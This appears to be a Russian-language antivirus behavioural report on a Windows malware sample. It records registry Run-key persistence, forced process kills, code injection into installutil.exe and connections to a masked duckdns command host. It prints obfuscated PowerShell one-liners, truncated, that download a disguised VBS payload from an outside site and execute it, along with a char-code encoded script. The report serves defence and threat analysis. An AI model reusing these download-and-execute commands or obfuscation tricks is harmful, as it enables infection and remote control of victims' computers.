Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%TEMP%\home.vbs'
Вредоносные функции
Запускает на исполнение
- '<SYSTEM32>\taskkill.exe' /f /im RegAsm.exe
- '<SYSTEM32>\taskkill.exe' /f /im RegSvcs.exe
- '<SYSTEM32>\taskkill.exe' /f /im WINWORD.EXE
- '<SYSTEM32>\taskkill.exe' /f /im InstallUtil.exe
- '<SYSTEM32>\taskkill.exe' /f /im MSBuild.exe
- '<SYSTEM32>\taskkill.exe' /f /im wscript.exe
- '<SYSTEM32>\taskkill.exe' /f /im control.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://gritodopovo.com.br/protetor.mp3'',$env:APPDATA+''\''+''home.vbs'')'|D; sta...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' cmd.exe /c reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $WERTWERTsrtwerteety=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%TEMP%\home.vbs'
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework\v2.0.50727\installutil.exe
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\home.vbs
Удаляет следующие файлы
- %APPDATA%\home.vbs
Сетевая активность
Подключается к
- 'su######ucer.duckdns.org':6522
UDP
- DNS ASK gr####opovo.com.br
- DNS ASK su######ucer.duckdns.org
Другое
Ищет следующие окна
- ClassName: '' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%APPDATA%\home.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $r='KEX'.replace('K','I'); sal D $r;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://gritodopovo.com.br/protetor.mp3'',$env:APPDATA+''\''+''home.vbs'')'|D; sta...' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c cd "%ComeCUdeMateus%" & taskkill /f /im RegAsm.exe & taskkill /f /im RegSvcs.exe & taskkill /f /im WINWORD.EXE & taskkill /f /im InstallUtil.exe & taskkill /f /im MSBuild.exe & taskkill /f ...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' cmd.exe /c reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $WERTWERTsrtwerteety=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%TEMP%\home.vbs'' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c cd "%ComeCUdeMateus%" & taskkill /f /im RegAsm.exe & taskkill /f /im RegSvcs.exe & taskkill /f /im WINWORD.EXE & taskkill /f /im InstallUtil.exe & taskkill /f /im MSBuild.exe & taskkill /f ...
- '<SYSTEM32>\cmd.exe' /c reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\reg.exe' delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
- '%WINDIR%\microsoft.net\framework\v2.0.50727\installutil.exe'
